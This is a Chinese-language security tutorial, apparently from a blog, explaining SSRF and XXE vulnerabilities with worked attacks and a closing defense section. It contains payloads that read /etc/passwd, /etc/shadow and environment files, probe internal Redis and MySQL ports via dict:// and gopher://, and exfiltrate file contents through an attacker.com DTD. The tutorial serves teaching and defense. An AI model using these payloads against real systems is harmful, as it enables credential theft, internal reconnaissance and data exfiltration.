一、SSRF 概述
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。SSRF 形成的原因多数是由于服务端提供了从外部获取数据的功能,但没有对目标地址做严格的过滤与限制,导致攻击者可以自由构造任意的内网或外网请求。
1.1 漏洞危害
探测内网存活主机与开放端口
读取内网敏感文件(如云服务器元数据)
攻击内网应用(如 Redis、MySQL、Memcached)
利用 file/gopher/dict 等伪协议进行更深入的利用
绕过身份认证或访问控制
1.2 常见场景
URL 分享、转码服务
图片/文件远程下载功能
Webhook 回调地址验证
在线翻译、在线预览功能
数据库内置功能(如 MongoDB 的
$where、PostgreSQL 的COPY)
二、SSRF 伪协议利用
当 SSRF 漏洞存在且服务端所使用的函数支持多种协议时,攻击者可以通过伪协议(Pseudo Protocols)扩大攻击面。以下是常见的伪协议及其用途:
2.1 file 协议利用
# 读取系统敏感文件
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
# Windows 环境下
file:///C:/Windows/win.ini
file:///C:/inetpub/wwwroot/web.config2.2 dict 协议利用
dict:// 协议最初用于访问 DICT 字典服务,但在 SSRF 场景中常用于探测内网端口并与 TCP 服务进行简单的交互。
# 探测 Redis 服务信息
dict://127.0.0.1:6379/info
# 探测端口开放情况
dict://192.168.1.100:22/info
dict://192.168.1.100:3306/info2.3 gopher 协议利用
gopher:// 是 SSRF 中最强大的伪协议,它可以发送任意格式的 TCP 数据包,常用于攻击内网中的 Redis、MySQL、Memcached 等服务。数据包中的特殊字符需进行 URL 编码。
# 向 Redis 写入 SSH 公钥(利用 cron 反弹 shell)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$...
# 利用 Redis 写 crontab 任务实现反连三、XML 原理
XML(Extensible Markup Language)是一种可扩展的标记语言,用于结构化存储和传输数据。XXE(XML External Entity)漏洞源于 XML 解析器对外部实体的不当处理。
3.1 XML 基础结构
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY author "John">
]>
<note>
<to>Alice</to>
<from>&author;</from>
<message>Hello, World!</message>
</note>3.2 实体分类
内部实体:直接在 DTD 中定义的实体
外部实体:引用外部文件或 URL 的实体(使用
SYSTEM关键字)参数实体:仅在 DTD 内部使用的实体(
%定义)通用实体:在 XML 文档中引用的实体(
&实体名;)
四、XXE 攻击示例
4.1 文件读取
利用外部实体读取服务器上的敏感文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>4.2 利用 PHP 伪协议读取文件
当 XML 解析器基于 PHP(如 SimpleXML、DOMDocument)时,可以使用 base64 编码读取 PHP 文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">
]>
<root>
<data>&xxe;</data>
</root>4.3 SSRF 结合 XXE
利用 XXE 进行内网探测,将外部实体指向内网地址:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<root>
<data>&xxe;</data>
</root>五、Blind XXE(盲 XXE)
当服务端不回显实体内容时,可以使用 Blind XXE 技术通过带外(OOB)方式获取数据。
5.1 带外数据外带(OOB)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>攻击者服务器上的 evil.dtd 内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;5.2 错误消息外带
通过触发 XML 解析错误,在错误消息中泄露数据:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<root>test</root>六、XXE 内网探测
XXE 不仅可以读取文件,还可以用于对内网进行探测和信息收集:
6.1 端口扫描
通过 HTTP 请求的响应时间或错误信息判断端口是否开放:
<!DOCTYPE foo [
<!ENTITY scan SYSTEM "http://192.168.1.100:22">
]>
<root>&scan;</root>6.2 内网服务指纹识别
通过 HTTP 响应内容识别 Web 应用类型和版本
结合
dict://协议探测数据库等服务利用 Blind XXE 带外获取服务 Banner 信息
七、防御措施
7.1 SSRF 防御
白名单策略:仅允许访问指定域名或 IP 列表
禁用伪协议:在 curl、file_get_contents 等函数中限制仅允许 http/https
内网 IP 过滤:阻止对 127.0.0.1、10.x.x.x、172.16-31.x.x、192.168.x.x 等内网地址的请求
DNS 解析验证:对用户输入的 URL 进行二次解析,防止 DNS Rebinding 攻击
限制重定向:禁止跟随 30x 重定向,防止绕过
最小权限原则:运行应用的服务账户不应具有高权限
7.2 XXE 防御
禁用外部实体:在 XML 解析器中禁用 DTD 或外部实体解析
使用安全的解析库:
PHP:
libxml_disable_entity_loader(true)Java:
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)Python:使用
defusedxml替代标准 XML 库.NET:设置
XmlReaderSettings.XmlResolver = null
输入验证:对 XML 格式的输入内容进行过滤和验证
最小化功能:不使用不必要的 XML 功能(如 XInclude、XSLT)
SSRF与XXE漏洞详解:原理、利用与防御
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法